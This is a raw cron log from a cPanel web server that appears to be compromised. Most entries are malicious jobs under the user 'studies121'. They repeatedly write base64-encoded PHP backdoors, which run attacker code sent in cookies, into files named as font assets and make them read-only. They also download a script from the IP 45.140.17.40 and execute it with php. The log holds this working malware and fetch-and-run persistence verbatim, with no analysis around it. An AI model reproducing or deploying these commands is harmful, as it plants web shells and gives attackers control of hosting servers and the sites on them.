Sep  7 15:16:01 ip-184-168-122-23 CROND[17267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:16:01 ip-184-168-122-23 CROND[17266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:17:01 ip-184-168-122-23 CROND[17438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:17:01 ip-184-168-122-23 CROND[17439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:17:01 ip-184-168-122-23 CROND[17440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:17:01 ip-184-168-122-23 CROND[17437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:18:01 ip-184-168-122-23 CROND[17544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:18:01 ip-184-168-122-23 CROND[17546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:18:01 ip-184-168-122-23 CROND[17547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:18:01 ip-184-168-122-23 CROND[17548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:18:01 ip-184-168-122-23 CROND[17549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:19:01 ip-184-168-122-23 CROND[17653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:19:01 ip-184-168-122-23 CROND[17652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:19:01 ip-184-168-122-23 CROND[17654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:19:01 ip-184-168-122-23 CROND[17655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:20:01 ip-184-168-122-23 CROND[17779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:20:01 ip-184-168-122-23 CROND[17782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:20:01 ip-184-168-122-23 CROND[17785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:20:01 ip-184-168-122-23 CROND[17788]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 15:20:01 ip-184-168-122-23 CROND[17783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:20:01 ip-184-168-122-23 CROND[17784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:20:01 ip-184-168-122-23 CROND[17786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:20:01 ip-184-168-122-23 CROND[17787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:20:01 ip-184-168-122-23 CROND[17781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:21:01 ip-184-168-122-23 CROND[17894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:21:01 ip-184-168-122-23 CROND[17895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:21:01 ip-184-168-122-23 CROND[17896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:21:01 ip-184-168-122-23 CROND[17898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:22:01 ip-184-168-122-23 CROND[18065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:22:01 ip-184-168-122-23 CROND[18067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:22:01 ip-184-168-122-23 CROND[18069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:22:01 ip-184-168-122-23 CROND[18070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:22:01 ip-184-168-122-23 CROND[18068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:23:01 ip-184-168-122-23 CROND[18182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:23:01 ip-184-168-122-23 CROND[18183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:23:01 ip-184-168-122-23 CROND[18184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:23:01 ip-184-168-122-23 CROND[18187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:24:01 ip-184-168-122-23 CROND[18270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:24:01 ip-184-168-122-23 CROND[18273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:24:01 ip-184-168-122-23 CROND[18272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:24:01 ip-184-168-122-23 CROND[18275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:24:01 ip-184-168-122-23 CROND[18274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:25:01 ip-184-168-122-23 CROND[18382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:25:01 ip-184-168-122-23 CROND[18384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:25:01 ip-184-168-122-23 CROND[18388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:25:01 ip-184-168-122-23 CROND[18385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:25:01 ip-184-168-122-23 CROND[18389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:25:01 ip-184-168-122-23 CROND[18390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:26:01 ip-184-168-122-23 CROND[18495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:26:01 ip-184-168-122-23 CROND[18499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:26:01 ip-184-168-122-23 CROND[18497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:26:01 ip-184-168-122-23 CROND[18500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:26:01 ip-184-168-122-23 CROND[18498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:27:01 ip-184-168-122-23 CROND[18595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:27:01 ip-184-168-122-23 CROND[18596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:27:01 ip-184-168-122-23 CROND[18598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:27:01 ip-184-168-122-23 CROND[18599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:28:01 ip-184-168-122-23 CROND[18771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:28:01 ip-184-168-122-23 CROND[18775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:28:01 ip-184-168-122-23 CROND[18774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:28:01 ip-184-168-122-23 CROND[18777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:28:01 ip-184-168-122-23 CROND[18776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
